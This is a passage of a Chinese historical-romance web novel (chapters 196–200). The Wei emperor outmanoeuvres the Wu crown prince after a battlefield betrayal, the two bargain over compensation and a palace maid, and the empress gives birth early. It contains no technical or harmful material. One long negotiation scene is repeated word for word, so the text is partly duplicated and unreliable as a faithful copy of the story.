心情复杂地看着面前站着的殷戈止,良久之后,冯闯闭了眼:“有劳魏国主了!”
他出来的时候,太子只吩咐过一句一定要把人带回去,没怎么强调,脸上的表情看
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起来也不是很在意。再说了,这的确只是个宫女,就算太子时常宠幸,可也不是很宠爱吧,毕竟当真宠爱的话,早该给个名分了。
在心里安慰着自己,冯闯挨了一顿打,鼻青脸肿地回去交差了。
沾着墨水的毛笔“啪”地一声落在洁白的宣纸上,叶御卿抬头,眯了眯眼:“你说什么?”
冯闯低头:“魏国皇后娘娘的确是在军营之中。”
“不是这句,后面那句。”
皮子紧了紧,冯闯跪了下去:“他们把忘忧姑娘留下了,说是要伺候魏国皇后。”
“她没说什么?”
“忘忧姑娘站在魏国皇后身边,低着头没吭声。”
也就是说,人是清醒的,看起来也没人胁迫她,她自己也不愿意回来?轻笑一声,叶御卿抬了袖子掩唇,眼神阴鸷:“女人可真是薄情啊,本宫待她那般好,她背叛了一次,竟然还敢背弃本宫第二次。”
“殿下。”冯闯有些哆嗦:“要派点兵力去接人吗?”
“你傻了?”叶御卿冷笑:“派兵过去就是要直接与魏国起冲突,为一个宫女,本宫还不至于!”
……那您表情看起来也太恐怖了啊,冯闯埋头,不敢再看他。
轻轻将桌上的毛笔拿起来,看着宣纸上染了的墨水,叶御卿低声道:“很快,本宫就会让她知道背叛本宫的下场到底是什么。”
玉山关前头,可就是万古峡了,那儿有魏国的主力,正卖力地抵抗着宋军,对背后毫无防备。
这一场大战,三国都会有很大的损失,当真等战后来算账,吴国到时候也会后继乏力,就会再放魏国安生十几年。这十几年,殷戈止在位,会发生什么谁都不知道。对于潜藏的危险,他一向都是提前铲除。
风月也来战场上了,很好,以传闻里殷戈止宠爱她的程度,她在哪里,殷戈止就必定在哪里,行踪完全隐藏不住!
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第196章 乱起
的确是隐藏不住,怀着身孕的人一般都娇气,药啊大夫啊都离不开身,这不,尽管魏军拔营,有人说主帅未动,但叶御卿一打听药罐子和大夫都一起走了,便立马派人去继续刺探。
探子回禀:“前往万古峡方向的十营之中,的确有魏孝帝踪迹。”
微微一笑,叶御卿道:“那咱们就跟上去吧,慢慢走,不着急。”
“是!”
接连受挫的宋军已经有些疲软,被尹将军带着人赶出了万古峡。这半年来宋国一场仗都没有赢过,军心已经溃散,只是勉强支撑。尹衍忠已经盘算好了,万古峡往北,只要能将宋军一举击退二十里,宋国必定会撤兵。与三国同时为敌,这压力毕竟还是大了些。
然而,就在他趁着夜色准备进攻的时候,突然有探子着急地来报:“将军,后方发现吴国大量兵力,与援军发生了摩擦。”
吴国与他们发生摩擦?尹衍忠皱眉:“战况如何?”
“吴国攻了一个时辰才撤退,我方援军伤亡惨重。”
心里一紧,尹衍忠背后发凉:“打探清楚交战原因了吗?”
“吴国那边派了人来,说是天黑没看清楚,误伤。”
误伤会打上一个时辰?尹衍忠不信,收到消息的宋国将领也不信。这个关头自己人打起来,是个什么意思呢?
略微一思量,压力极大的宋军就派了人,趁着夜色去往吴国的军营,嘀嘀咕咕了好一阵子,带着消息回去了宋**营。
于是第二天,尹衍忠按照计划出兵的时候,吴国后方的支援迟迟不到,而宋军莫名地士气高涨,这一仗打得血流成河,死伤无数。
“他竟然真的敢这么做!”听着前线将领的伤亡情况,风月眼睛都红了,站起来就吼:“老子的刀呢?老子要去砍了这群混蛋!”
分明是盟国啊,却在这最后一战的节骨眼上想坐收渔利!
先前还不信他们的话的何愁在旁边也傻了眼,眼神复杂,拧着手里的帕子没说话。
“你冷静点。”殷戈止淡淡地道:“一早就料到的事情。”
料到归料到,可当真听见**那么多人的时候,风月还是觉得生气:“在战场上拿人命耍这种心思,他压根不配掌兵权!”
前头也有吴国的人啊,压根不知道自己国家的太子在背后等着给他们收尸。援军就在玉山关和万古峡之间,却不及时赶过去支援!别人的命就不是命吗?一心为吴国拼杀的无辜的将士,就活该被当成祭品?!
“各自有各自的打算而已。”殷戈止起身,将披风系在她身上,淡淡地道:“他怕这一仗三国胜了,吴国没后力对付魏国。会这么盘算,也在情理之中。”
只是,这一回,叶御卿依旧不会赢他。
魏国十个营的援军到了,联合齐国和吴国的残兵共同抗敌。这一战打了三天,最终宋国还是不敌,退败二十里,关城门收兵。
就在宋国鸣金的一瞬间,叶御卿带着吴国的援军赶到,笑盈盈地看着尹衍忠道:“将军辛苦了。”
脸上的血迹未擦,尹衍忠深深地看了他一眼,道:“关将军曾经说过,在战场上流血的人,都值得人尊敬。”
后半句话他没说出来,可大家都能听出来——没在战场上流血,最后跑来收功的人,不值得人尊敬。
不值得人尊敬的叶太子轻笑,满不在乎地道:“宋国退兵了,大家都辛苦,先回去写战报吧。本宫也先带着人去扎营了。晚上有空,还请魏国国主出来喝个酒。”
“殿下留步。”当着齐国元帅的面,尹衍忠上前拦住他,目光凌厉地道:“有件事殿下还未解释——先前为何主动进攻我魏国援军,又为何要与宋国私通书信?!”
步子一顿,叶御卿抬眼看他:“将军何出此言?据本宫所知,上次混战是天黑没看清楚,误将魏军当敌军了的缘故。但说本宫与宋国私通书信,从何说起?”
要说书信,尹衍忠腰杆都挺得直了些,伸手便拿出几封信,放在了齐国霍元帅的手里。
霍楠是齐国名将,也是颇有权势之人,往常没少与叶御卿书信来往。所以一打开信看见上头的印鉴,他
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沉了脸,皱眉看了叶御卿一眼。
叶御卿伸手便要夺信:“不可能,这一定是伪造的。”
“如何伪造?”霍楠收手:“殿下的印鉴,在下还是认得的。”
叶御卿抿唇:“可本宫没有写这样的信。”
就算写了,也绝对不可能落在魏国的手里。
然而,这样的辩白在白纸黑字红印鉴面前就显得很苍白了。霍楠但笑不语,尹衍忠薄怒地道:“吴国强盛,靠兵力说话,我等自然争不得什么。但殿下,此番抗宋,是吴国主动来请两国联合,我魏国和齐国都出力不少。过河拆桥的事情,殿下还是少做为好。”
叶御卿沉默,看着面前这两人离开,捏着缰绳眼神深邃。
要他不拆桥?那怎么可能呢,人都准备好了。他不攻魏,只消将殷戈止杀了,那便可以高枕无忧。眼下殷戈止就在军营之中,三国扎营地又相去不远,趁乱得手,再说是误伤,以魏国现在的兵力,绝对不会主动攻吴,只能咽下这哑巴亏。
这等好事,他要是都不把握机会,那便不叫叶御卿了。
回去军营,先写信安抚霍楠一番,叶御卿抬笔,又给殷戈止送了请帖。
请帖发出去没一会儿,就有人拿回来殷戈止的亲笔信:“战死将士尸骨未寒,酒便不饮了,望殿下好自为之。”
字里行间都能看出他的怒意,叶御卿笑了,指尖点着信纸,感叹道:“昔日本宫也曾这样三番五次发请帖给他,都被他拒之门外。如今没想到,又遇见了这样的情况。也罢也罢,这一仗,说什么都是要打的了。”
魏国的军营里一片寂静,士兵们煮了饭吃了之后便都没了影子,好像是早早睡下,养精蓄锐了。主将的营帐还让大夫送了一碗安胎药进去,看样子魏国皇帝一心都在皇后身上。
于是,子时一到,吴国的羽箭抱着油布点着火,如下雨一般射进了魏**营。
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第197章 术业有专攻
这场仗没有击鼓,甚至没有喊杀声,只有铁甲铿锵刀剑碰撞。吴国的士兵们冲进营帐,举起刀剑,打算将魏国之人扼杀于睡梦之中。
此番吴国加上援军一共十五万人,战后已经有十万陆续撤退。魏国战后加上援军也勉强还有十二万,听消息说只有三万留在原地扎营。夜而袭之,加上后续的支援,叶御卿很有信心能打赢这一场。齐国那边他已经安抚好,吴魏相争,齐国也定然不愿意搅进来。
一切都在计划之中,如果他面对的不是殷戈止和关清越,这一战说不定当真会得手。
然而,很遗憾,当吴国士兵掀开一个个营帐,发现里头一个人都没有的时候,军营四周,突然就响起了震天的喊杀声。
“宋军又攻回来啦!大家杀啊!”罗昊大喝一声,齐魏假意撤退、藏在四周山上的援军如洪水一般倾泻了下来。
叶御卿在后方,收到消息的时候,前头已经打成了一团。
“怎么回事?”一向温和的脸上陡然显出些暴戾,看着面前跪着的冯闯,叶御卿沉声问:“扛不住吗?”
“殿下,齐魏双方的人都在,喊着要杀宋军,将咱们前锋营杀了个干净,现在正在朝这边来。”冯闯脸上满是汗水,焦急地道:“您先走吧!”
笑话,宋国士兵穿的是黄色的战服,他们吴国是黑色的,这都会认错?叶御卿咬牙,狠狠一巴掌拍在旁边的案几上:“拔营!”
这是殷戈止的报复,报复他“误伤”魏国之兵,竟然不知什么时候联合了齐国,一起来对付他。
他怎么知道今晚他会有动作呢?他的消息应该没走漏才对,更何况,齐国霍楠岂是这么好撺掇的?怎么会突然就帮着魏国了呢?
这些问题他统统都想不明白,然而来不及想了,带着四个营,叶御卿急忙往吴国的方向退。
偷鸡不成蚀把米,这回吴国可有些难交代了。不过也无妨,眼下齐魏都不敢主动挑起战事,就算他攻魏之心暴露,魏国也不敢如何。
夜晚的宁静被打破,杀戮之声响至黎明。黎明破晓的时候,叶御卿到了玉山关附近。
“殿下。”冯闯担心地看着他:“咱们歇会儿吧,您看起来很累。”
望了望那高高的玉山,叶御卿闭眼,很是不甘心:“本宫是不是不适合打仗?”
冯闯一愣,低头沉默。太子是从文的,领兵之事自然不太擅长,考虑得不是很全面,也不了解实际的情况。但现在这一步踏错,局势已经无法挽回,他再责备殿下也无用。
于是,冯闯道:“殿下已经做得很好了,是对手太过狡猾。”
殷戈止那叫狡猾吗?已经是非人了!叶御卿抿唇,躺在草地上抬起袖子遮了脸:“本宫错了,本宫不该选战场上同他过招。”
“殿下。”有探子神色古怪地过来,递了一封请帖给他:“魏国那边的人送来的。”
微微一凛,叶御卿坐了起来,伸手打开一看。
“吴国太子殿下亲启:玉山右侧山腰上已备薄酒,还望殿下赏光同饮。”
脸色一沉,叶御卿合了这帖子,低笑出声:“冯闯,你看这个人,实在是小气,什么都得原封不动地给本宫还回来!”
他送他一个“夜黑误伤”,他还他一个“夜黑误伤”。他给他一张请帖,他还他一张请帖。
笑着笑着,心里的怒火便冒了起来,叶太子起身,看着探子问:“他们怎么会走到我们前头上了玉山的?!”
探子低头:“属下不知,但帖子是从山上传下来的。”
眯了眯眼,叶御卿想起了那滞留在后头的魏国的十个营,勃然大怒:“他又骗本宫!”
什么带着十个营去支援尹衍忠,还偷偷去?!瞒着踪迹?!他压根就没去前头,一直在后头等着他呢!
魏国西北边境临吴,可他们在的地方更是有江,江水宽阔,大军渡河太过麻烦,所以他要回吴国,一定会从玉山过。玉山关在玉山左侧,是魏国的地界,所以他只能走右侧。可这天杀的殷戈止,竟然带着六个营在玉山右侧等他?!
什么大夫,什么安胎药,他压根就是知道自己身边有奸细,故意将计就计给他演了场戏!让他放心拔营去前线,自个儿却堵着他的后路!
“其余营的人走到哪里了?”抱着一丝希望,叶御卿问了一声。
冯闯拱手道:“扎营地离玉山实在太近,您昨日下令部分人撤退,他们便已经连夜过了山。若是要等后头的人……”
后头是有人,好几万呢,可是齐魏的人更多!被人堵在玉山这儿打,他才是真的要丢了性命。
殷戈止压根没给他留活路!
深吸一口气,叶御卿缓了好一会儿,理智回笼,拂了拂衣摆:“罢了。”
已经走到这一步,别无选择,只能选伤亡最小的方法回国。
“往玉山关走。”他道:“去找魏国的人聊聊天。”
殷戈止是赢了,可他也不想让他赢得那么舒坦,那么算无遗策!他在右侧等着是吧?行啊,他直接去右侧,跟魏军正面谈判,谁敢动他不成?联盟还没破裂,魏国也没胆子对吴国如何,与其送去殷戈止的嘴里,叶御卿觉得,还是去找魏国正常的人谈判比较好。
于是,吴军扭头,义无反顾地扑向了玉山关的怀抱。
一路上看着四周的山山水水,叶御卿其实已经冷静下来了。他的确不适合在战场上跟人耍心机,所以输了也心服口服,没什么大不了的,回去国都之后,再慢慢来么。
但是,当站在玉门关关口下头,看着城楼上长身玉立的殷戈止的时候,叶御卿有些崩溃了。
“你是会飞还是怎么的?!”怒喝出声,叶御卿双眼通红:“不是在玉山左侧吗?!”
“殿下为何如此气愤?”殷戈止淡淡地道:“朕听闻殿下来了,特意出来迎接。”
“你又骗本宫——”一口腥甜卡在喉咙里,叶御卿怒不可遏!
“说来不巧。”殷戈止皱眉道:“本来的确是打算去玉山左侧恭迎殿下的,可内子腹疼,朕别无他法,只能先行回关。”
旁边躲着看热闹的风月立马捂着肚子,装出
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一副真的很疼的样子,眼睛眉毛都皱成了一团。
战术上的攻击不算什么,可这心理上的攻击,还带家眷一起攻击,是个人就受不住!
侧身张口,叶御卿终于是吐了血。
“殿下别太激动了。”殷戈止关切地道:“先进来吧,咱们坐下聊聊天。我魏国是礼仪之国,各位的兵器也可以收起来,不用紧张。”
礼仪之国?礼仪之国能有这么无耻的国主?抹了把唇边的血,叶御卿唇艳得摄人,眯着眼睛道:“有你在,本宫焉敢进这玉山关?!”
“不进此处,殿下打算去哪儿啊?”伸了个脑袋,风月笑眯眯地道:“何愁还在等着您呢。”
何愁?
乍一听这名字,叶御卿还有些没反应过来,等反应过来之后,他便沉了脸:“贵国是打算用区区宫女威胁本宫?”
“这哪儿能啊。”风月摇头:“能威胁到您的,只有吴国的利益,女人算什么呢?您都让何愁喝堕子汤了,我傻了才会觉得她能威胁您。”
堕子汤?叶御卿皱眉,何愁当初的孩子本就保不住,怎么听着倒像是他不要她的孩子一样?
难不成,她其实也是这么以为的?
心里沉了沉,叶御卿摇头,甩开那些个儿女情长的事,皱眉道:“既然无法威胁,那娘娘也没必要提她。”
说是这么说,语气却是软了。何愁还在这里,他要是直接走了,那可能她一辈子都不会回来了。只有他亲自去要人,才能从这对不要脸的帝后手里把人抢回来。
“殿下应该还有事要与朕商议。”远远看着他的表情,殷戈止给了个台阶:“与其僵持,不如还是先进来谈谈。”
沉默片刻,叶御卿冷哼一声,总算是点了头。挥手让身后的士兵先进城。
外头的战火依旧未歇,客栈的房间里,殷戈止和叶御卿相对而坐。
风月和何愁坐在他们的旁边,何愁显得很不安,伸手倒了茶水之后,下意识地往风月的方向靠了靠。
就这一个小动作,看得叶御卿心头火起,面儿上却没显露出来,依旧是一片温润之色。
“希望魏国能先将本宫的贴身宫女还回来,表示一番诚意。不然接下来的事情,也无法谈。”
殷戈止淡淡地道:“人不是我们囚着的,是自愿留下来的。殿下若是想要人,自己能带回去便带。带不回去,那就不能怪旁人。”
轻笑一声,叶御卿道:“魏国国主跟以前真是不一样了,有兵权在手,说话都硬气了。”
“过奖。”像是没听出来他的嘲讽,殷戈止颔首:“叶太子还是同以前一样,擅长权谋之事。”
就是不擅长打仗。
捏了捏拳头,叶御卿道:“国主就不担心两国打起来吗?”
“担心。”殷戈止颔首:“贵国援军之中,还有朕亲手教出来的两个徒儿呢,怎能不担心?”
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第198章 不要脸的谈判
安世冲和徐怀祖如今也能独当一面了,此次出征,听闻会与魏国联合抗宋,他俩跑得飞快,很早就到了玉山关外。叶御卿就是顾忌他们的关系,所以让他们先撤退。
现在听殷戈止这语气,叶御卿垂眸,态度突然就缓和了下来:“此番三国大胜,合作算是愉快,宋国想必短时间内都不会再犯。魏国出力良多,吴国也会给予厚赠。”
“哦?”殷戈止眼皮都不抬:“太子觉得,那厚赠会是什么?”
“今年魏国不是欠收么?灾民想必不少,国库的粮食应该也不够了吧?”叶御卿道:“正好,齐国今年产粮多,征来作军粮的米面都没有吃完,不如就凑个整数,十万石大米、十万石面粉,统统送去魏国赈灾,如何?”
数目听着挺诱人,然而,殷戈止还是没抬眼:“殿下客气了,齐国功劳也不小,吴国**赠他们,倒是拿他们的米粮赈我魏国的灾,就不怕齐国国主不高兴么?”
齐国当然会不高兴,叶御卿打的就是这个算盘。只要殷戈止答应,他就拿着齐国的粮食作人情。齐国受了气会怎么办呢?打不了吴国,还有魏国啊。如此一来,还会与魏国这么同仇敌忾亲密无间吗?不会,甚至有可能倒戈相向。
利益才是国家之间最重要的纽带。
“我吴国也没别的东西能拿出手。”满脸真诚,叶御卿道:“只要您觉得这个馈赠尚算可纳,那其余的事情本宫便会处理,您完全不用担心。”
半阖着的眼里波光流转,殷戈止轻轻敲着桌子,想了半晌,颔首:“可以。”
心里一松,叶御卿笑了:“如此便好。”
“馈赠的事情说完了,现在来说说贵国误伤魏国援军的事情吧。”伸手拿了张单子出来,殷戈止面沉如水:“我军被贵国误伤三千人,其中五百多人死亡,七百多人重伤。”
提起这事,叶御卿别开了头:“都说了是误伤。”
满脸震惊,殷戈止不敢置信地看着他:“误伤没有补偿?这么多死伤的将士,殿下轻飘飘的两个字就打算抵了?”
叶御卿皱眉:“不然陛下想如何?昨晚一战,我方死伤怕是更多。”
“昨晚一战?”殷戈止茫然地看向旁边的风月,后者咽下果脯,义愤填膺地道:“昨晚的确有一战,却是因为宋军偷袭我方驻地,所以尹将军联合齐军一起反抗!将士们斗智斗勇,战胜了敌军!前方已经送来捷报。”
“朕还觉得奇怪,好端端的怎么又会打起来。”转头继续看着叶御卿,殷戈止道:“与宋军交战的伤亡,殿下也要算在我魏国头上?”
叶御卿:“……”
真是不要脸了!他们分明就知道打的不是宋军,在这儿装模作样给谁看呢!
更可气的是,他还不能自己说他们打的是吴国的军队,不然这老奸巨猾的殷戈止,一定会问吴国攻击魏**营的原因,到时候他更理亏!
深吸一口气,叶御卿活生生将这亏给咽了下去,咬牙切齿地问:“国主想要什么赔偿?”
“每一位士兵,都是为我魏国鞠躬尽瘁的勇士,他们在这场战后,本来是可以回去加官进爵,阖家团圆的,现在居然莫名其妙死在了友军的刀下!”语气陡然沉痛,殷戈止道:“朕不是卖士兵性命的君主,可他们的家人都要抚恤,按照魏国的规矩,每家要给十两银子。”
十两?叶御卿很想一口唾沫呸他脸上!多少人穷极一生都挣不到十两银子,哪有战死之人都给十两抚恤的?
“这个我可以作证。”举了举手,风月道:“以前我带兵的时候,亲自去发过抚恤银子。”
关家带的兵,但凡有战死者,关苍海都会发抚恤。当时的魏文帝是不会发的,这规矩其实也只有关家军有。不过眼下拿来当赔偿的标准,那是很不错的。
深吸一口气,叶御卿看了风月一眼,颇为后悔地道:“本宫当初不该相信你。”
她分明一颗心都是偏着殷戈止的,却假作要帮他控制殷戈止、对付易国如之势。要不是他大意了,这个女人也活不到现在,也不会成为魏国的皇后。
看见殷戈止现在这圆满的模样,他就好不甘心。
“殿下,我有什么错呢?”无辜地眨眨眼,风月道:“当初要不是我,您有很多事情是做不成的。”
殷戈止起身,挡在她面前,表情微微有些不悦。
收回目光,叶御卿微笑:“国主别紧张,本宫只不过有些感慨罢了。珠儿在不阴城,可还时常念叨着您呢,听闻您立了皇后,气得几天没吃下饭。”
易掌珠?殷戈止道:“她不是成亲了么?”
消息这么灵通?叶御卿低笑:“的确是成亲了,可心心念念的还是您,这回听闻本宫也许会遇见您,死活都让本宫带封信来。”
“信呢?”
“路上颠簸,没留住。”仔细瞧着殷戈止的表情,叶御卿笑道:“不过本宫看过了,依稀还记得些句子。零零碎碎的小事不必提,就这一句,国主一定要记住啊——君遗明珠双泪垂,明珠亦是盼君归。”
你失去了我一定很伤心,我也在等着你回来。
多深情,多凄凉啊,听得风月忍不住拿帕子擦了擦眼角:“都嫁人了还这么惦记,也是不容易。”
一直装死的何愁忍不住低声开口:“易小姐嫁了个状元郎,那状元对她也挺好的,可她就是整天郁郁寡欢,时不时都要闹上一出。这些话娘娘不必在意,只是她一厢情愿罢了。”
“我当然不会在意了。”声音大了些,风月笑吟吟地道:“要是陛下主动给她写这样的句子,那本宫兴许还会生气。可是她写这样的句子来,本宫不觉得生气,反而觉得高兴。”
叶御卿眯了眯眼。
高兴?有什么好高兴的?高兴自己的丈夫被别人惦记了不成?都说女儿家小心眼,遇见这种小把戏,都会闹腾的,他也就是想搞些事情,让殷戈止不那么舒坦而已。结果这人怎么不按常理来啊?
“殿下一看就是没有认真爱过一个人。”居高临下地看着叶御卿,殷戈止道:“朕对皇后如何,她自己心里有数。心里有数了,便不会怀疑朕任何。朕给她感情,她回朕信任,不是殿下这两三句话能离间的。”
感情就是个冷暖自知的东西,对方喜不喜欢自己,有多喜欢自己,都能感觉得到。当真被人死心塌地爱着的人,是不会起怀疑之心的。就算捉奸在床,风月都肯定会先想想是不是有人陷害他,而不是觉得他有了异心。
这是他这半年来的成果。
轻笑一声,叶御卿站了起来,拂袖道:“本宫只是替人传话,听与不听在您。”
抬脚欲往何愁的方向走,前面却挡了个人。看着这人黑色绣银龙的靴子,叶御卿叹息:“抚恤金会送到魏国的。”
听见这话,殷戈止才算满意,侧身让了路。
何愁皱眉,看着那人一步步走过来,下意识地往风月背后站。
“你还想往哪里躲?”
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声音骤然冷下来,叶御卿道:“跟本宫回去。”
沉默片刻,何愁小声问:“奴婢能不回去吗?”
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看见殷戈止现在这圆满的模样,他就好不甘心。
“殿下,我有什么错呢?”无辜地眨眨眼,风月道:“当初要不是我,您有很多事情是做不成的。”
殷戈止起身,挡在她面前,表情微微有些不悦。
收回目光,叶御卿微笑:“国主别紧张,本宫只不过有些感慨罢了。珠儿在不阴城,可还时常念叨着您呢,听闻您立了皇后,气得几天没吃下饭。”
易掌珠?殷戈止道:“她不是成亲了么?”
消息这么灵通?叶御卿低笑:“的确是成亲了,可心心念念的还是您,这回听闻本宫也许会遇见您,死活都让本宫带封信来。”
“信呢?”
“路上颠簸,没留住。”仔细瞧着殷戈止的表情,叶御卿笑道:“不过本宫看过了,依稀还记得些句子。零零碎碎的小事不必提,就这一句,国主一定要记住啊——君遗明珠双泪垂,明珠亦是盼君归。”
你失去了我一定很伤心,我也在等着你回来。
多深情,多凄凉啊,听得风月忍不住拿帕子擦了擦眼角:“都嫁人了还这么惦记,也是不容易。”
一直装死的何愁忍不住低声开口:“易小姐嫁了个状元郎,那状元对她也挺好的,可她就是整天郁郁寡欢,时不时都要闹上一出。这些话娘娘不必在意,只是她一厢情愿罢了。”
“我当然不会在意了。”声音大了些,风月笑吟吟地道:“要是陛下主动给她写这样的句子,那本宫兴许还会生气。可是她写这样的句子来,本宫不觉得生气,反而觉得高兴。”
叶御卿眯了眯眼。
高兴?有什么好高兴的?高兴自己的丈夫被别人惦记了不成?都说女儿家小心眼,遇见这种小把戏,都会闹腾的,他也就是想搞些事情,让殷戈止不那么舒坦而已。结果这人怎么不按常理来啊?
“殿下一看就是没有认真爱过一个人。”居高临下地看着叶御卿,殷戈止道:“朕对皇后如何,她自己心里有数。心里有数了,便不会怀疑朕任何。朕给她感情,她回朕信任,不是殿下这两三句话能离间的。”
感情就是个冷暖自知的东西,对方喜不喜欢自己,有多喜欢自己,都能感觉得到。当真被人死心塌地爱着的人,是不会起怀疑之心的。就算捉奸在床,风月都肯定会先想想是不是有人陷害他,而不是觉得他有了异心。
这是他这半年来的成果。
轻笑一声,叶御卿站了起来,拂袖道:“本宫只是替人传话,听与不听在您。”
抬脚欲往何愁的方向走,前面却挡了个人。看着这人黑色绣银龙的靴子,叶御卿叹息:“抚恤金会送到魏国的。”
听见这话,殷戈止才算满意,侧身让了路。
何愁皱眉,看着那人一步步走过来,下意识地往风月背后站。
“你还想往哪里躲?”声音骤然冷下来,叶御卿道:“跟本宫回去。”
沉默片刻,何愁小声问:“奴婢能不回去吗?”
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第199章 我要生了
叶御卿一听就笑了:“你是吴国人,不是魏国人,除了跟本宫回去,还能去哪里?”
风月气定神闲地咬着果脯笑:“还能来我这里啊。”
低头看她一眼,叶御卿道:“娘娘最好不要多管闲事。”
“何愁本就是我的人,这哪里能算是闲事?”风月眯眼,看了他一会儿,道:“这样吧殿下,何愁呢,我是不打算还给您了,作为交换,送殿下一百斤魏国特产的苏山寒铁,那东西稀少难得,换一个宫女绰绰有余了吧?”
苏山寒铁,就是铸造不悔剑和长恨刀的原料,的确是很珍贵。要是换个普通的宫女,叶御卿肯定二话不说,直接就答应了。可对面是何愁,看着她那张脸,他摇头:“不换。”
有些意外,何愁睁大眼看向他。
不换吗?先前不是他说的,打算用她换些东西吗?她觉得拿自己换这么多寒铁已经是很赚了,他难不成还想换个城池?想想都不可能啊。
“那殿下想要什么?”风月问。
“本宫不缺东西,缺人。”叶御卿道:“让她跟本宫回去即可。”
“到底也是我的朋友,她若是不愿意,我是不会放人的。”摸了摸肚子,风月道:“时候也不早了,折腾了一宿,天都亮了,殿下还是早些歇息吧。”
叶御卿沉了脸,伸手就想去抓人。然而后头的殷戈止动作比他快多了,直接擒住他的肩膀,平静地道:“殿下可能找不到路,朕送殿下去房间。”
说罢,带着人就往外走。
叶御卿恼怒:“殷戈止,你别太过分!”
“谁更过分?”殷戈止道:“之前殿下救了何愁是好事,可即便您是她的救命恩人,也不能这么折腾人。”
“您哪只眼睛看见本宫折腾人了?”叶御卿皱眉。
殷戈止摇头:“殿下难道丝毫没察觉?何愁与风月是同龄,可她二人站在一起,何愁却苍老得多。”
苍老吗?叶御卿不解,他只觉得风月养护得不错,显得年轻,倒是不觉得何愁苍老。
不过,看这帝后二人的态度,他想从正面把人带走是不可能了。
那还是想别的办法吧。
接到命令的冯闯很是不解:“殿下,咱们非得将忘忧带回去不可吗?”
“嗯。”叶御卿点头:“明日拔营之前,本宫要看见她。”
“……是。”
吴国的精锐部队,经过一整天的部署,最后就为了捞一个宫女出来。
吴军穿过玉山关往吴国边境继续前行的时候,何愁很是茫然地看着四周的车壁。
“殿下?”
叶御卿脸色很难看,压根没搭理她,但她稍微一动,这人便会回头,轻飘飘地看她一眼。
何愁不知道自己是怎么出来的,但她知道自己这次肯定是完蛋了,记仇的叶太子,不会让她好过的。
玉山关内。
风月瞪着面前的殷戈止:“人被抢走了!”
“嗯。”殷戈止一把将她按下去:“你为她操心好几天了,现在好生睡一觉。”
“可是……”
“没有可是。”殷戈止道:“每个人都有她要走的路,我一早就告诉你,多余的慈悲没有用。从叶御卿派出的人来看,他对何愁也未必半点情意都没有。你强留她在身边,她也定然是个孤独终老的下场。”
“谁说的?”风月挑眉:“就不能给她许个好人家了?”
嫌弃地看她一眼,殷戈止道:“你是越来越傻了,看不懂何愁的眼神?她那眼里一点生气都没有,还指望她能跟谁好好过日子?你还是放过好人家吧。”
气得鼓嘴,风月抱着肚子就碎碎念:“孩子你快出来吧,你父皇欺负人,都没人能帮母后的!”
殷戈止轻笑,正想说你这肚子才八个月呢,还早,结果就见床上这人的脸色突然一变。
“陛下。”深吸一口气,风月皱眉:“我现在要是突然告诉您我要生了,您会怎么样啊?”
殷戈止一愣,看着她脸上的表情,摇头:“别想吓唬朕。”
“可是,好像是真的。”额头上出了点细汗,风月干笑两声:“您别坐着了,快去
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找个产婆来,我还能坚持一会儿。”
脸色骤变,殷戈止吓得魂都没了,立马起身往外走,一个不注意,将旁边的水盆给撞翻了。哐当一声响,惊得外头的观止连忙跑了进来:“主子?”
“去请个产婆。”深吸一口气,殷戈止道:“准备热水和帕子,娘娘要生了。”
观止惊愕,半点没敢耽误,立马往外冲!
于是,没一炷香的功夫,整个玉山关的将领都被惊动了,连带着撤退到了关口的尹衍忠等人,齐刷刷地穿着铠甲守在了房间外头。
产婆过来的时候,被这阵仗吓得腿都软了,还是被观止给扶进去的。
“您别紧张。”床上大汗淋漓的妇人轻声安慰道:“外头那些人就是来给我镇场子的,毕竟是早产,他们都很担心。”
产婆哆嗦地点头,看了一眼她身下,羊水已经破了。
“您……您顺着我的力道来。”
“好嘞。”床上的人笑了笑:“我感觉这一胎很正,早点生也好,个头小……你手别抖啊,我数一二三你来用力吧。”
产婆很想哭,她哪能不手抖啊?一般人家生孩子都是女人在里头哭天抢地的,男人在外头镇定地等着。结果这一家贵人,怎么生孩子的这么镇定,旁边坐着的这个好看得很的相公神色却是恐怖至极。
殷戈止专门找医女问过生产的相关事情,他知道这孩子该怎么接生,要不是旁边的人使劲拦着,他是打算上去亲自动手的。这个产婆一看就不是很靠谱,还抖呢。
“不疼吗?”哑着嗓子,他问了一声。
风月咬牙:“疼是有点……但还能忍得住,咱们毕竟是刀口上滚的人,哪能那么娇气!”
“疼了就叫出来。”殷戈止皱眉:“别忍着。”
眼波流转,风月失笑:“我不叫您都紧张成了这样,我要是叫唤,您岂不是要疯了?行了,别担心,会顺产的。”
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第200章 七活八不活
这语气笃定得,活像她是产婆似的。
然而,真正的产婆盯着她的肚子,却是忐忑万分。接生的人都知道,“七活八不活”,八个月的时候早产,胎儿定然是出了什么问题的。眼下这位夫人看起来身份贵重,孩子万一要是活不下来……那她该怎么交差?
“怎么样了?”旁边的男人问了一声。
浑身一抖,产婆道:“胎位是正的,等开了三指就好了。”
风月点头,憋着力气不再说话,殷戈止捏着她的手,表情凝重。整个房间里一片安静,什么声响也没了。
这可急坏了外头守着的人,秋夫人等人不断张望着,想打听情况又怕惊扰了里头,只能齐齐地在外头绕圈儿。一身的盔甲上头还带着未擦的血迹,行动之间铿锵作响,声音凌乱。
听着这动静,风月倒是更加安心,感受着肚子里的小家伙即将出来的喜悦,牟足了劲等着那一刻的到来。
“哇——”
半个时辰之后,婴儿的啼哭声划破这一处死寂,众人都是一愣,压根没反应过来。
“发生什么了?”尹衍忠很茫然地看着秋夫人:“里头一点声音都没有,怎么突然就多了个孩子的哭声?”
秋夫人哪里还来得及回答他,想冲进去看,低头看看自己身上的衣裳,一拍大腿又连忙去换衣服。
少主厉害啊,真不愧是女中豪杰,生孩子都能一声不吭!
风月的确是很豪杰,的确是一声没吭。但是一听见孩子的哭声,丫整个人直接就昏了过去,脸色苍白难看,惊得旁边的殷戈止都没来得及看一眼那孩子是男是女,就吼了一声:“大夫呢!”
在外头等着的大夫急忙进来,顶着骇人的目光,慌张地把脉。
“怎么样了?!”
眉毛胡子皱成一团,老大夫看了床上的人一眼,又看了看旁边哭了几声就不再哭的婴儿,沉声道:“公子,这位夫人没什么大碍,就是生产之后太过虚弱,加上疼痛难忍,所以昏过去了。您更该担心的是这孩子!”
听见夫人没事,殷戈止就松了一大口气,然后才转头去看产婆手里的奶团子。
刚生下来的孩子皱皱的丑丑的,还没洗澡,殷戈止很是嫌弃,转头就想继续去看风月。
“主子!”观止哭笑不得:“您好歹抱一抱啊,这是您第一个皇子呢!”
皇子?殷戈止点头,那她也算得偿所愿,应该会挺高兴。
